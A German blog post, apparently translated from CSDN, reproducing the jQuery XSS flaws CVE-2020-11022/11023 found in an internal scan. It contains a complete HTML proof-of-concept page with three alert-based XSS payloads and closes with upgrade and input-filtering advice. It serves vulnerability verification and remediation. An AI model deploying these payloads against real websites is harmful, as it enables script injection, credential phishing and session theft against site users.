[Wiederauftreten der Sicherheitslücke in JQuery-XSS (CVE-2020-11022/CVE-2020-11023)]


1. Beschreibung der Schwachstelle

Bei der Verwendung von Nessus zur Durchführung von Schwachstellenscans innerhalb des Unternehmens wurde festgestellt, dass ein bestimmter Server diese Schwachstelle mit mittlerem Risiko meldete, die nach späterer Überprüfung der Daten reproduziert wurde.
Laut der selbst gemeldeten Version im Skript ist die auf dem Remote-Webserver gehostete JQuery-Version größer oder gleich 1.2 und älter als 3.5.0. Daher ist es von mehreren Cross-Site-Scripting-Schwachstellen betroffen.

2. Betroffene Versionen

Die JQuery-Version ist größer oder gleich 1.2 und kleiner als 3.5.0

3. Wiederauftreten der Sicherheitslücke

1. Greifen Sie zunächst entsprechend der Schwachstellenaufforderung auf die folgende Schnittstelle zu.

http://x.x.x.x/Scripts/jquery-1.7.1.min.js

Fügen Sie hier eine Bildbeschreibung ein
2. Verwenden Sie POC zum Reproduzieren
Der Quellcode lautet wie folgt:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <!-- 测试JQuery -->
   <script src="http://x.x.x.x/Scripts/jquery-1.7.1.min.js"></script>
	<!-- <script src="./jquery.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
 
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert(2)> 
</xmp>
 
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert("1st")>">
</xmp>
 
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert("1st")></style>
</xmp>
 
<div id="div"></div>
</body>
</html>

Ersetzen Sie einfach src durch die Zielpfadadresse und öffnen Sie HTML
Fügen Sie hier eine Bildbeschreibung ein

Klicken Sie auf „Append via .html()“. Es erscheint ein Popup-Fenster, das auf das Vorhandensein der Sicherheitslücke hinweist.
Fügen Sie hier eine Bildbeschreibung ein

4. Gefahren durch Sicherheitslücken

Angreifer können diese Schwachstelle ausnutzen, um bösartigen HTML-/JS-Code auszuführen, Würmer zu konstruieren, Seiten zu manipulieren, um Phishing-Angriffe durchzuführen, Benutzer dazu zu bringen, sich erneut anzumelden und dann an ihre Anmeldedaten zu gelangen usw.

5. Reparaturvorschläge

(1) Aktualisieren Sie jQuery auf 3.5.0 oder höher
(2) Schließen Sie unnötige Verzeichniszugriffsberechtigungen, z. B. das Skriptverzeichnis, und öffnen Sie nur das Verzeichnis, das Dienste bereitstellt
(3) Filtern Sie die Eingabedaten und kontrollieren Sie streng gefährliche Zeichen wie „‘“, „ „“, „ <“, „ >“, „ on* “, Skript, Iframe, usw. Überprüfen. Die Eingabe hier ist nicht nur die Eingabeschnittstelle, mit der Benutzer direkt interagieren können, sondern umfasst auch Variablen in Cookies in HTTP-Anforderungen, Variablen in HTTP-Anforderungsheadern usw.


Guess you like

Origin blog.csdn.net/qq_61872115/article/details/134142487